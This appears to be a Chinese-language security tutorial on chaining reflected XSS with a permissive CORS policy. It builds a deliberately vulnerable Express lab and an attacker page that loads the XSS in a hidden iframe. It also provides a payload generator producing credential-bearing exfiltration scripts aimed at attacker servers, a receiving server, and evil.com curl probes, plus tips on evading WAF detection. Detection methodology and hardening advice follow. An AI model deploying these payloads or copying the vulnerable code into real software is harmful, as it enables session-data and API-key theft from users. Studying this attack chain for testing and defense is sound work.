XSS与CORS组合漏洞:从原理到自动化利用的攻防实战
1. 项目概述当XSS遇上CORS一场数据收割的“完美风暴”在Web安全的世界里XSS跨站脚本攻击和CORS跨域资源共享是两个老生常谈但又经久不衰的话题。前者是攻击者将恶意脚本注入到受信任网站的攻击手段后者则是现代浏览器为了打破同源策略限制、实现跨域数据交互而引入的一套机制。乍一看它们似乎分属攻防两端但当你深入挖掘会发现一个令人不安的现实一个配置不当的CORS策略可能会让一个原本危害范围有限的XSS漏洞瞬间演变成一场能够“一键收割”用户敏感数据的灾难。我遇到过不少案例开发团队在修复了反射型XSS后以为万事大吉却忽略了后端那个过于宽松的Access-Control-Allow-Origin: *响应头。攻击者正是利用了这个组合将一次简单的弹窗恶作剧升级为窃取用户登录凭证、API密钥甚至内部系统数据的利器。这篇文章就是为你拆解这套“组合拳”的完整攻击链。无论你是安全工程师、渗透测试人员还是希望加固自己应用的开发者理解从原理到利用的每一个环节都至关重要。我们将从最基础的漏洞原理讲起逐步深入到如何手动构造攻击载荷并最终实现一个模拟的、自动化“收割”流程让你不仅看懂更能亲手复现和防御。2. 漏洞原理深度拆解信任链条是如何断裂的要理解这个组合漏洞的威力我们必须先抛开孤立的技术点从浏览器、服务器和用户三者之间的“信任关系”入手。2.1 同源策略SOP与CORS的“安全阀门”角色同源策略是浏览器最核心的安全基石之一。它规定来自https://a.com的脚本只能读取https://a.com的资源不能直接读取https://b.com的数据。这就像给每个网站建立了一个独立的“保险库”。然而现代Web应用需要频繁地与不同域名的API、资源进行交互。CORS机制应运而生它相当于在“保险库”的墙上开了一扇门但这扇门配有严格的门禁系统。当https://evil.com的脚本试图通过XMLHttpRequest或Fetch API访问https://victim.com/api/user时浏览器会先发送一个携带Origin: https://evil.com头的“预检”请求对于非简单请求。victim.com的服务器检查这个Origin如果它在允许列表内就在响应中返回Access-Control-Allow-Origin: https://evil.com。浏览器看到这个响应才会放行真正的请求。这里的核心信任关系是服务器通过CORS头明确告诉浏览器“我信任来自这个Origin的请求”。2.2 XSS如何为CORS攻击“铺平道路”一个典型的反射型XSS漏洞攻击流程是诱骗用户点击一个恶意链接如https://victim.com/search?qscriptalert(1)/script恶意脚本在victim.com的上下文中执行。此时脚本的“源”是https://victim.com本身。关键点来了在这个上下文中发起的任何跨域请求即使是请求victim.com的其他子域或端口其Origin头也是https://victim.com。如果victim.com的服务器对CORS策略配置不当例如通配符信任Access-Control-Allow-Origin: *动态反射Origin不加校验地将请求中的Origin头值直接反射到Access-Control-Allow-Origin响应头中。宽松的子域/后缀匹配例如允许所有以.victim.com结尾的源。那么通过XSS注入的脚本就能以victim.com的合法身份向服务器发起跨域请求并且因为CORS策略的允许浏览器不会拦截响应。攻击脚本从而可以读取到响应中的敏感数据。注意这里存在一个常见的误解。攻击并非直接利用evil.com去请求victim.com。而是先利用XSS在victim.com的页面中植入一个“内鬼”脚本。这个“内鬼”脚本再以victim.com的身份去请求victim.com的其他敏感接口可能位于同域不同路径或不同子域并利用宽松的CORS策略将数据带出来。2.3 漏洞利用的关键条件Credentials凭证要让攻击从“读取公开信息”升级为“收割用户数据”另一个关键响应头必须出现Access-Control-Allow-Credentials: true。这个头告诉浏览器“允许跨域请求携带Cookie、HTTP认证等凭证信息”。默认情况下跨域请求是不携带Cookie的。只有当服务器返回了这个头并且前端在发起请求时设置了withCredentials true用户的会话Cookie才会被自动附加到请求中。这意味着攻击者通过XSS注入的脚本可以发起一个携带了当前已登录用户Cookie的请求去访问诸如/api/profile、/admin/list等需要认证的接口并将返回的敏感数据窃取走。漏洞利用的完整链条可以概括为目标网站victim.com存在一个反射型XSS漏洞例如在搜索参数q中。victim.com的某个敏感API端点如https://api.victim.com/data配置了不安全的CORS策略如Access-Control-Allow-Origin: *和Access-Control-Allow-Credentials: true。攻击者构造一个恶意URL其中的XSS载荷会执行一个脚本该脚本向https://api.victim.com/data发起携带凭证的跨域请求。用户点击链接脚本在victim.com上下文中执行以用户的身份和凭证访问API。由于CORS策略允许请求成功响应数据被脚本捕获。脚本将窃取到的数据发送到攻击者控制的服务器。3. 实战环境搭建与漏洞复现纸上谈兵终觉浅我们动手搭建一个简易的、存在漏洞的靶场环境来亲眼见证这个组合漏洞的威力。这里我们使用 Node.js Express 快速搭建。3.1 后端漏洞服务器搭建首先我们创建一个存在两个漏洞的后端服务一个存在反射型XSS的页面/search。一个配置了错误CORS策略的敏感数据API/api/userInfo。mkdir cors-xss-lab cd cors-xss-lab npm init -y npm install express创建vulnerable-server.js文件const express require(express); const app express(); const PORT 3000; // 中间件解析URL编码和JSON格式的请求体 app.use(express.urlencoded({ extended: true })); app.use(express.json()); // 模拟用户数据库和会话 const users { alice: { id: 1, name: Alice, email: aliceexample.com, apiKey: SECRET_API_KEY_12345 }, bob: { id: 2, name: Bob, email: bobexample.com, apiKey: ANOTHER_SECRET_KEY } }; let sessionUser null; // 1. 存在反射型XSS的搜索页面 app.get(/search, (req, res) { const query req.query.q || ; // 危险未对用户输入进行任何过滤或转义直接输出到HTML中 res.send( html body h1搜索页面/h1 p您搜索的内容是: strong${query}/strong/p form input typetext nameq placeholder输入搜索词 button typesubmit搜索/button /form div idresult/div /body /html ); }); // 2. 配置了错误CORS策略的敏感API app.get(/api/userInfo, (req, res) { // 漏洞点动态反射Origin且允许凭证。这是最危险的配置之一。 const origin req.headers.origin; if (origin) { // 错误示例直接反射请求中的Origin未做白名单校验 res.setHeader(Access-Control-Allow-Origin, origin); // 错误示例允许携带凭证 res.setHeader(Access-Control-Allow-Credentials, true); } // 模拟需要Cookie认证的API const sessionCookie req.headers.cookie; let username guest; if (sessionCookie sessionCookie.includes(usernamealice)) { username alice; } const userData users[username] || { error: User not found or not logged in }; res.json(userData); }); // 一个“安全”的登录接口用于设置Cookie app.post(/login, (req, res) { const { username } req.body; if (users[username]) { // 设置一个简单的会话Cookie res.setHeader(Set-Cookie, username${username}; Path/; HttpOnly); res.json({ message: Login successful }); } else { res.status(401).json({ error: Invalid credentials }); } }); app.listen(PORT, () { console.log(漏洞服务器运行在 http://localhost:${PORT}); console.log(XSS页面: http://localhost:${PORT}/search?qscriptalert(1)/script); console.log(敏感API: http://localhost:${PORT}/api/userInfo); });运行这个服务器node vulnerable-server.js。3.2 手动漏洞验证与利用现在我们分步验证并利用这个漏洞。步骤1验证XSS漏洞访问http://localhost:3000/search?qscriptalert(XSS)/script你会看到一个弹窗。这证实了反射型XSS漏洞的存在。步骤2验证不安全的CORS策略我们使用浏览器开发者工具或curl命令来测试API的CORS配置。 打开浏览器控制台在任意页面例如about:blank执行以下JavaScript代码片段fetch(http://localhost:3000/api/userInfo, { method: GET, credentials: include // 相当于 withCredentials: true }) .then(response response.json()) .then(data console.log(API Response:, data)) .catch(err console.error(Error:, err));由于请求来自一个file://或非localhost:3000的源浏览器会阻止这个请求并报错“...has been blocked by CORS policy...”。这是正常的因为我们的请求源不在服务器的允许列表中。步骤3构造组合攻击关键的一步来了。我们构造一个恶意页面模拟攻击者控制的网站evil.com。但实际上我们只需要在本地创建一个HTML文件。创建attacker.html文件!DOCTYPE html html head title恶意攻击页面/title /head body h1你中奖了点击领取/h1 p这是一个伪装成抽奖页面的攻击入口。/p !-- 利用iframe或直接诱导用户点击链接 -- iframe idhiddenFrame styledisplay:none;/iframe script // 攻击者构造的恶意链接指向存在XSS的页面并注入攻击载荷 const maliciousUrl http://localhost:3000/search?qscript (function(){ var req new XMLHttpRequest(); req.onload function() { // 成功窃取到数据后将其发送到攻击者的服务器 var stolenData this.responseText; console.log(窃取到的数据:, stolenData); // 实际攻击中这里会向攻击者的服务器发送数据 // new Image().src https://attacker-server.com/log?data encodeURIComponent(stolenData); alert(数据已窃取模拟: stolenData); }; req.open(GET, http://localhost:3000/api/userInfo, true); req.withCredentials true; // 携带用户Cookie req.send(); })(); /script; // 自动触发模拟用户点击恶意链接 document.getElementById(hiddenFrame).src maliciousUrl; // 或者更常见的是通过社交工程诱使用户点击一个短链接指向这个maliciousUrl /script /body /html步骤4模拟攻击流程用户假设已登录localhost:3000Cookie中存有usernamealice被诱骗访问了attacker.html。attacker.html中的脚本自动或诱导用户点击访问了恶意URL。浏览器加载http://localhost:3000/search?q...其中的恶意脚本在localhost:3000的源下执行。该脚本向同源的http://localhost:3000/api/userInfo发起请求。注意此时请求的Origin是http://localhost:3000。服务器/api/userInfo收到请求看到Origin: http://localhost:3000它动态反射了这个Origin到Access-Control-Allow-Origin响应头并允许凭证。浏览器检查CORS头发现匹配且允许凭证于是将响应数据返回给脚本。脚本中的onload回调函数被触发成功读取到包含alice的API密钥等敏感信息的响应数据。脚本将这些数据通过某种方式如构造一个Image请求外传到攻击者的服务器。实操心得在实际渗透测试中第4步的“同源”可能不是那么直接。更常见的场景是XSS存在于www.victim.com而配置了错误CORS的敏感API在api.victim.com。由于浏览器认为主域相同victim.com但子域不同这仍然是跨域请求。但只要api.victim.com的CORS策略配置为信任*.victim.com或动态反射了www.victim.com这个Origin攻击链依然成立。这就是为什么在漏洞报告中我们常强调“子域间的CORS配置”同样重要。4. 漏洞利用的自动化与武器化手动构造攻击虽然直观但效率低下。在真实的渗透测试或安全研究中我们需要将这个过程自动化快速验证大量目标。下面我们构建一个简化的“一键收割”PoC概念验证脚本。4.1 自动化PoC脚本设计思路一个自动化的利用工具需要完成以下任务探测识别目标域名的子域并寻找可能存在XSS的参数点如URL参数、表单字段。验证对潜在的XSS点进行快速验证使用无害的载荷如svg onloadalert(1)。CORS检测对目标及其子域发起跨域请求检测Access-Control-Allow-Origin和Access-Control-Allow-Credentials头的配置情况。组合利用如果发现同一主域下同时存在XSS和配置错误的CORS端点则自动生成组合攻击的利用代码。数据外传在生成的攻击载荷中集成将窃取到的数据回传到监听服务器的功能。由于完全自动化涉及复杂的爬虫和模糊测试这里我们实现一个半自动化的辅助脚本它接收用户输入的目标和已发现的XSS点、CORS端点然后生成可直接使用的攻击载荷。4.2 攻击载荷生成器实现我们创建一个Node.js脚本payload-generator.jsconst fs require(fs); const readline require(readline).createInterface({ input: process.stdin, output: process.stdout }); function generateXSSPayload(victimUrl, corsApiEndpoint, attackerServer) { // victimUrl: 存在XSS漏洞的URL (e.g., http://victim.com/search?qPAYLOAD) // corsApiEndpoint: 配置了错误CORS的敏感API端点 (e.g., https://api.victim.com/data) // attackerServer: 攻击者接收数据的服务器地址 (e.g., https://attacker.com/log) // 对URL进行编码确保嵌入到字符串中时不会破坏语法 const encodedApiEndpoint encodeURIComponent(corsApiEndpoint); const encodedAttackerServer encodeURIComponent(attackerServer); // 构造一个隐蔽的数据外传方式使用Navigator.sendBeacon或Image对象 const exfilScript script (function(){ var targetApi decodeURIComponent(${encodedApiEndpoint}); var attacker decodeURIComponent(${encodedAttackerServer}); var req new XMLHttpRequest(); req.onload function() { var stolenData encodeURIComponent(this.responseText); // 方法1: 使用Image对象兼容性好但可能被adblock拦截 // new Image().src attacker ?data stolenData; // 方法2: 使用Fetch API sendBeacon更现代支持发送更多数据 if (navigator.sendBeacon) { var blob new Blob([stolenData], {type: application/x-www-form-urlencoded}); navigator.sendBeacon(attacker, blob); } else { // 降级方案 var img document.createElement(img); img.style.display none; img.src attacker ?data stolenData; document.body.appendChild(img); } console.log(Data exfiltrated to:, attacker); }; req.onerror function(e) { console.error(CORS request failed:, e); // 可以尝试降级到JSONP如果API支持或其他方法 }; req.open(GET, targetApi, true); req.withCredentials true; // 关键携带Cookie req.send(); })(); /script .replace(/\n\s/g, ); // 压缩脚本减少长度 // 将攻击脚本进行URL编码以便嵌入到存在XSS的参数中 const encodedPayload encodeURIComponent(exfilScript); // 生成最终的攻击URL将Payload替换到victimUrl中的占位符 // 假设victimUrl中有一个明显的注入点例如 qINJECT_HERE const finalMaliciousUrl victimUrl.replace(PAYLOAD, encodedPayload); return { description: 组合攻击载荷 (XSS CORS), maliciousUrl: finalMaliciousUrl, standaloneScript: exfilScript, steps: [ 1. 确保目标用户已登录 ${new URL(corsApiEndpoint).origin}。, 2. 诱使目标用户点击或访问生成的恶意URL。, 3. 攻击脚本将在目标站点的上下文中执行并向 ${corsApiEndpoint} 发起携带凭证的请求。, 4. 窃取的数据将被发送到您的服务器: ${attackerServer}。, 5. 在您的服务器上监听并接收数据。 ] }; } // 简单的命令行交互 console.log( XSSCORS 组合攻击载荷生成器 \n); readline.question(1. 请输入存在XSS漏洞的URL (需包含 PAYLOAD 占位符如 http://victim.com/search?qPAYLOAD):\n , (victimUrl) { readline.question(\n2. 请输入配置了错误CORS策略的敏感API端点 (如 https://api.victim.com/data):\n , (corsApi) { readline.question(\n3. 请输入您用于接收数据的服务器地址 (如 https://your-server.com/log):\n , (attackerServer) { const result generateXSSPayload(victimUrl, corsApi, attackerServer); console.log(\n .repeat(50)); console.log(生成结果:\n); console.log(攻击描述: ${result.description}); console.log(\n恶意URL (可直接用于攻击):); console.log(result.maliciousUrl); console.log(\n独立的攻击脚本 (可用于其他注入点):); console.log(result.standaloneScript); console.log(\n利用步骤:); result.steps.forEach(step console.log( ${step})); console.log(\n .repeat(50)); console.log(提示: 在实际使用前请务必在授权环境下测试。); readline.close(); }); }); });4.3 攻击者接收服务器示例为了完整演示我们还需要一个简单的服务器来接收被窃取的数据。创建attacker-server.jsconst express require(express); const app express(); const PORT 4000; app.use(express.text({ type: */* })); // 接收任意格式数据 app.all(/log, (req, res) { console.log([${new Date().toISOString()}] 接收到数据:); console.log(请求方法:, req.method); console.log(请求头:, JSON.stringify(req.headers, null, 2)); console.log(查询参数:, req.query); console.log(请求体:, req.body); console.log(--- 数据接收完毕 ---\n); // 返回一个无害的响应例如1x1像素的GIF res.set(Content-Type, image/gif); // 这是一个透明的1x1像素GIF const pixel Buffer.from(R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7, base64); res.send(pixel); }); app.listen(PORT, () { console.log(攻击者接收服务器运行在 http://localhost:${PORT}); console.log(监听路径: /log); });运行node attacker-server.js。现在当攻击载荷成功执行后数据就会被发送到http://localhost:4000/log并在控制台打印出来。注意事项在实际攻击中攻击者服务器通常会部署在公网并使用HTTPS。数据外传的方式也需要更加隐蔽比如使用WebSocket、Fetch到Service Worker或者将数据分割后通过多个请求发送以绕过简单的网络监控或WAFWeb应用防火墙的检测。5. 漏洞挖掘与防御加固指南了解了如何利用更重要的是知道如何发现和修复它。无论是作为攻击方白帽子还是防御方开发者下面的指南都至关重要。5.1 针对白帽子的漏洞挖掘方法论挖掘XSSCORS组合漏洞可以遵循以下系统性的方法1. 资产发现与枚举子域枚举使用工具如subfinder,amass,assetfinder或在线服务找出目标的所有子域。因为CORS策略常按子域配置。端口与服务扫描对发现的IP和域名进行扫描识别Web服务。2. CORS策略主动探测工具自动化使用CORScanner、CORS-Finder或集成在Burp Suite、OWASP ZAP中的插件。手动测试对于关键API端点使用浏览器开发者工具或curl发送带有不同Origin头的OPTIONS或GET请求观察响应头。# 测试通配符 curl -H Origin: https://evil.com -I https://api.target.com/data # 测试动态反射 curl -H Origin: https://target.com -I https://api.target.com/data curl -H Origin: null -I https://api.target.com/data curl -H Origin: target.com.evil.com -I https://api.target.com/data # 测试后缀匹配错误 # 测试凭证支持 curl -H Origin: https://evil.com -H Cookie: sessionabc -I https://api.target.com/data重点关注Access-Control-Allow-Origin: *且存在敏感数据。Access-Control-Allow-Origin: nullAccess-Control-Allow-Credentials: true与宽松的Access-Control-Allow-Origin同时出现。使用正则匹配Origin时可能出现的逻辑错误如*.target.com可能错误地匹配了attarget.com。3. XSS漏洞挖掘传统测试对所有用户输入点URL参数、表单、Headers、JSON/XML数据进行XSS测试。结合上下文特别注意那些会将输入反射到JavaScript代码、HTML属性如onclick、href、script标签内的点。使用工具链Burp Suite的Active Scan、XSStrike、dalfox等。4. 组合验证一旦发现同一主域下存在XSS漏洞点A和配置错误的CORS端点B立即进行组合验证。编写PoC脚本模拟在A点注入的脚本去访问B点验证是否能携带凭证并读取数据。注意同源策略确保你的PoC脚本是在A点的源下执行的。如果A是www.target.com/page?xss...B是api.target.com/data那么PoC是有效的。5.2 针对开发者的防御加固方案防御需要从服务器端和客户端双管齐下。服务器端根本严格限定Access-Control-Allow-Origin绝对禁止使用通配符*尤其是当响应包含敏感信息或需要凭证时。Access-Control-Allow-Credentials: true与Access-Control-Allow-Origin: *是互斥的浏览器会拒绝这种组合。使用精确的白名单。在服务器端维护一个允许跨域访问的源列表并与请求的Origin头进行严格比对。// Node.js/Express 示例 const allowedOrigins [https://www.myapp.com, https://admin.myapp.com]; app.use((req, res, next) { const origin req.headers.origin; if (allowedOrigins.includes(origin)) { res.setHeader(Access-Control-Allow-Origin, origin); res.setHeader(Access-Control-Allow-Credentials, true); } // 处理预检请求 if (req.method OPTIONS) { res.setHeader(Access-Control-Allow-Methods, GET, POST, PUT, DELETE); res.setHeader(Access-Control-Allow-Headers, Content-Type, Authorization); res.status(200).end(); return; } next(); });避免动态反射Origin除非有极其严格的业务需求和安全审计否则不要直接将请求中的Origin头反射回去。谨慎处理null和协议/端口将null加入白名单是危险的。同时确保白名单中包含确切的协议http/https和端口如果非标准。限制Access-Control-Allow-Credentials的使用只有确实需要跨域传递Cookie或HTTP认证的接口才设置此头。对于公开API应避免使用。设置严格的Access-Control-Allow-Methods和Access-Control-Allow-Headers只允许必要的HTTP方法和请求头减少攻击面。实施其他安全措施输入验证与输出编码彻底防御XSS的根本。对所有用户输入进行严格的验证、过滤和转义。使用内容安全策略部署严格的CSP可以有效缓解XSS的影响即使存在注入点也能阻止脚本执行。敏感接口额外鉴权即使通过了CORS检查敏感API接口仍需进行严格的会话验证、Token校验如CSRF Token、甚至二次密码确认。客户端辅助安全编码实践避免使用innerHTML、document.write()等危险函数优先使用textContent或安全的DOM操作API。使用现代前端框架如React、Vue、Angular等它们通常内置了基础的XSS防护机制但并非绝对安全仍需注意。Cookie安全标记为Cookie设置HttpOnly防止JavaScript读取、Secure仅HTTPS传输、SameSite限制第三方上下文发送Cookie属性。5.3 常见问题与排查技巧实录在实际测试和修复过程中你可能会遇到以下问题Q1我发送了跨域请求浏览器报错 “has been blocked by CORS policy: Response to preflight request doesnt pass access control check”怎么回事A1这是预检请求失败。你的请求可能包含了非简单头如Authorization、自定义头或非简单方法如PUT、DELETE。服务器必须在OPTIONS预检请求的响应中通过Access-Control-Allow-Headers和Access-Control-Allow-Methods头明确允许这些头和方法。Q2我已经设置了Access-Control-Allow-Origin: *和Access-Control-Allow-Credentials: true为什么浏览器还是报错A2这是一个安全限制。当Access-Control-Allow-Credentials为true时Access-Control-Allow-Origin不能是通配符*必须是一个明确的源。这是浏览器强制实施的规则。Q3在修复CORS策略时如何平衡安全与多个第三方前端应用如移动端、桌面端的调用需求A3API网关在前端和后端API之间引入一个API网关。所有前端应用访问同一个网关域名由网关将请求代理到内部各个微服务并在网关层统一设置安全的CORS策略。这样前端只与网关跨域内部服务无需处理CORS。反向代理使用Nginx/Apache作为反向代理将前端应用和后端API配置在同一个域名下通过不同路径区分从而彻底避免跨域问题。Token认证对于需要跨域调用的第三方考虑使用OAuth 2.0、JWT等Token认证方式将凭证放在Authorization头中传递而非依赖Cookie。这样可以在一定程度上降低对Access-Control-Allow-Credentials的依赖。Q4使用了CSP是否就能高枕无忧忽略XSS了A4绝对不能。CSP是一道重要的防线但并非银弹。它可能因为配置错误而被绕过如使用unsafe-inline、unsafe-eval或者存在允许加载外部脚本的宽松策略。防御XSS的首要任务始终是服务端的输入处理和输出编码。CSP应作为深度防御的一环。排查技巧表现象可能原因排查步骤预检请求失败服务器未正确处理OPTIONS请求未返回必要的CORS头。1. 检查服务器路由确保OPTIONS请求有对应的处理程序。2. 检查OPTIONS响应是否包含Access-Control-Allow-Methods和Access-Control-Allow-Headers。请求被拒绝但Origin在白名单协议、端口不匹配白名单匹配逻辑有误如大小写、尾部斜杠。1. 对比请求Origin头与白名单中的字符串是否完全一致。2. 检查服务器端匹配代码是否使用了错误的比较方法如indexOf可能造成子串误匹配。设置了withCredentials但Cookie未发送服务器响应头未设置Access-Control-Allow-Credentials: trueCookie未设置SameSiteNone; Secure对于跨站请求。1. 确认服务器响应包含Access-Control-Allow-Credentials: true。2. 检查Cookie属性跨站请求需要SameSiteNone且必须通过HTTPSSecure。本地开发时CORS正常上线后出错生产环境与开发环境的域名、端口不同生产环境可能有CDN或负载均衡器修改了响应头。1. 检查生产环境服务器的实际响应头用curl或浏览器网络面板。2. 检查中间件如Nginx的配置是否覆盖或未添加CORS头。这套组合拳的威力在于它利用了应用系统中两个独立环节的弱点并将它们串联起来形成了112的破坏效果。对于防御者而言这提醒我们安全是一个整体任何一环的疏忽都可能被放大。对于研究者而言理解这种攻击链能帮助我们更立体地审视系统安全性在漏洞挖掘时拥有更广阔的视野。